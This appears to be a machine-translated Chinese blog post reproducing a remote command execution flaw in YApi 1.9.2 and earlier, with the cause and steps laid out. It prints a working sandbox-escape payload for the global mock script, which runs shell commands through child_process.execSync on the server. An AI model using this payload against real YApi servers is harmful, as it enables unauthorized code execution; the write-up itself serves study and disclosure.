当前位置:网站首页>Vulnerability recurrence ----- 34. Yapi remote command execution vulnerability
Vulnerability recurrence ----- 34. Yapi remote command execution vulnerability
2022-06-27 15:34:00 【Seven days】
Yapi Official website address :
http://yapi.smart-xwork.cn/
YAPI brief introduction
YAPI It's efficient 、 Easy to use 、 Powerful API Management platform , Designed to develop 、 product 、 Testers provide more elegant interface management services , Provide basic project grouping , project management , Interface management function , Friendly interface documentation , be based on websocket The editing function and class of the multi person cooperation interface postman Testing tools , Let multiple people work together to improve development efficiency , And based on Mockjs, Simple to use and powerful .
Causes of loopholes
An attacker can register a user , And use Mock Function to realize remote command execution . The principle of command execution is Node.js adopt require('vm') To build a sandbox environment , The attacker can change the running context of the sandbox environment through the prototype chain , So as to achieve the effect of sandbox escape . adopt vm.runInNewContext("this.constructor.constructor('return process')()") You can get a process object .
Affects version :Yapi <= 1.9.2
Loophole recurrence
1、 After registering the user , New projects
2、 Set up -> overall situation mock Add malicious code to the script .
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
3、 Add interface
4、 visit mock Address
边栏推荐
- substrate 技术每周速览 20220411
- 我想買固收+產品,但是不了解它主要投資哪些方面,有人知道嗎?
- Luogu_ P1003 [noip2011 improvement group] carpet laying_ Violence enumeration
- 关于快速幂
- Référence forte, faible, douce et virtuelle de threadlocal
- E ModuleNotFoundError: No module named ‘psycopg2‘(已解决)
- Programming skills: script scheduling
- PSS:你距離NMS-free+提點只有兩個卷積層 | 2021論文
- Piblup test report 1- pedigree based animal model
- 28 object method extension
猜你喜欢

AQS Abstract queue synchronizer

洛谷_P1007 独木桥_思维

#28对象方法扩展

Computer screen splitting method

Numerical extension of 27es6

All you want to know about large screen visualization is here

Why can't the start method be called repeatedly? But the run method can?

Problems encountered in vs compilation

Derivation of Halcon camera calibration principle

AQS抽象队列同步器
随机推荐
Redis CacheClient
Computer screen splitting method
Different perspectives
SQL parsing practice of Pisa proxy
Google tool splits by specified length
sql注入原理
Pisa-Proxy 之 SQL 解析实践
Why can't the start method be called repeatedly? But the run method can?
Handling methods for NVIDIA deepstream running delay, jamming and crash
Typescript learning materials
E ModuleNotFoundError: No module named ‘psycopg2‘(已解决)
522. longest special sequence II / Sword finger offer II 101 Split equal sum subset
手机号码的格式
Atomic operation class
How QT sets some areas to be transparent in the background image
洛谷_P1002 [NOIP2002 普及组] 过河卒_dp
PSS: you are only two convolution layers away from the NMS free+ point | 2021 paper
Use of abortcontroller
#27ES6的数值扩展
Cannot determine value type from string ‘<p>1</p>‘



